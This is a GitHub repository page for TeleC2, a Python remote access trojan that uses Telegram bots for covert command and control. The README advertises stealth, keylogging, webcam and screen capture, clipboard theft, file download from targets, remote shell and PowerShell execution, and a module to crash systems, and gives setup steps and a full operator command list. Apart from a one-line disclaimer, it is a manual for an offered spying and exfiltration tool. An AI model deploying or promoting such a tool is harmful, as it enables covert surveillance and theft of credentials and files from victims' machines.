Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings
/ TeleC2 Public

TeleC2 is a Telegram-based command and control system for remote administration. This stealth agent enables secure remote management through encrypted communications, featuring surveillance capabilities, system control, keylogging, and multi-agent support—all controlled via Telegram messages.

License

Notifications You must be signed in to change notification settings

4m3rr0r/TeleC2

Open more actions menu

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

14 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

TeleC2 - Telegram Command and Control System

TeleC2 logo

TeleC2 is a Python-based Remote Administration Tool (RAT) that leverages the Telegram Bot API for covert command and control (C2) communication. This allows an operator to remotely manage and monitor systems from anywhere using a simple Telegram chat interface.

The script includes features for remote command execution, file system management, surveillance (screenshots, webcam), keylogging, and more, with a focus on ease of use and stealth.

Disclaimer : ⚠️ This tool is intended for educational and research purposes only. The author is not responsible for any misuse or damage caused by this program. Using this tool on systems where you do not have explicit permission is illegal and unethical.

Features

TeleC2 logo

  • Telegram-based C2: Uses the Telegram Bot API for all communications, making it difficult to block.

  • Encrypted Configuration: Securely stores API keys and chat IDs in an encrypted file.

  • Agent Management: Remotely list, interact with, and terminate agents.

  • Remote Shell: Execute system commands (cmd) and PowerShell (pow) commands directly from Telegram.

  • System Information: Gather detailed information about the target system (OS, IP, CPU, etc.).

  • File System Operations: View the contents of files and download files from the target machine.

  • Surveillance Suite:

    • Take screenshots of the desktop.

    • Capture images from the webcam.

    • Record video clips from the webcam.

  • Advanced Keylogger:

    • Captures keystrokes and sends them to a separate, dedicated Telegram bot.

    • Buffers keystrokes and sends them periodically to minimize network traffic.

    • Includes a utility to clean and format raw keylog data.

  • Prank Module: Includes functions to display fake error messages or attempt to crash the system.

  • Clipboard Access: View the contents of the target's clipboard.

🔧 Setup and Installation

Installation

1. Clone the repository:

git clone https://github.com/4m3rr0r/telec2.git
cd telec2

2. Install required dependencies:

pip install -r requirements.txt

3. Set up your Telegram bots:

  • Create two bots using BotFather
  • Note down the API tokens for both bots

4. Configure the agent:

  • Update the encryption password in the script
  • Run the script to generate encrypted configuration

Usage

1. Start the agent:

python agent.py

2. Send commands to your Telegram bot:

/start - Register agent and show available systems
/scan - List all active agents
/info <agent_id> - Get system information
/die <agent_id> - Terminate agent
/screenshot <agent_id> - Capture screen

/webcam <agent_id> - Capture webcam image
/video <agent_id> <duration> - Record webcam video
/keylogger <start|stop|status> <agent_id> - Control keylogger
/clip <agent_id> - Get clipboard contents

/cmd <agent_id> <command> - Execute system command
/pow <agent_id> <command> - Execute PowerShell command
/viewFile <agent_id> <path> - View file contents
/downloadFile <agent_id> <path> - Download file

ss

ss

About

TeleC2 is a Telegram-based command and control system for remote administration. This stealth agent enables secure remote management through encrypted communications, featuring surveillance capabilities, system control, keylogging, and multi-agent support—all controlled via Telegram messages.

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages

Morty Proxy This is a proxified and sanitized view of the page, visit original site.